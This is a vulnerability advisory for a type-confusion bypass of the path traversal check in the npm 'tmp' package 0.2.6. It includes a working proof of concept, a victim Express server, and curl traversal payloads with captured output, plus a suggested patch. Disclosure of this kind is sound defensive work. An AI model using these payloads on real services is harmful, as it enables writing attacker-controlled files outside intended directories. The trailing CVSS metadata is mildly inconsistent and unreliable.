CVE-2026-49982

ADVISORY - github

Summary

Summary

The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact

  • Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
  • Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap.
  • File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

// lib/tmp.js:533-539
function _assertPath(path) {
  if (path.includes("..")) {
    throw new Error("Relative value not allowed");
  }

  return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
  opts.prefix ? opts.prefix : 'tmp',
  '-',
  process.pid,
  '-',
  _randomChars(12),
  opts.postfix ? '-' + opts.postfix : ''
].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches _assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

  1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
  2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

Observed output on tmp@0.2.6:

[negative control] string "../escape" - must be blocked
  BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked
  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
  ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked
  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
  ESCAPED: true

End-to-end reproduction (against the deployed npm package)

Install:

mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

node victim-server.js &

Drive three requests from another shell:

echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

  • ATTACK 1 (string ../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
  • ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:
$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick  wheel   64 May 27 20:25 .

Tenant base is empty. The escape is complete.

  • ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.

Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
 /**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
  *
  * @private
  */
-function _assertPath(path) {
-  if (path.includes("..")) {
+function _assertPath(option, value) {
+  if (typeof value !== 'string') {
+    throw new Error(`${option} option must be a string, got "${typeof value}".`);
+  }
+  if (value.includes("..")) {
     throw new Error("Relative value not allowed");
   }

-  return path;
+  return value;
 }
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
   options.unsafeCleanup = !!options.unsafeCleanup;

   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
 }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

EPSS Score: 0.00433 (0.344)

Common Weakness Enumeration (CWE)

ADVISORY - nist

Improper Input Validation

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

ADVISORY - github

Improper Input Validation

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.2high
PackageTypeOS NameOS VersionAffected RangesFix Versions
tmpnpm-->=0.2.6,<0.2.70.2.7

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is no loss of confidentiality.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.2high

Debian

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Alow

Ubuntu

CREATED

UPDATED

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

N/Amedium

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-6j9p-77c7-v873

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY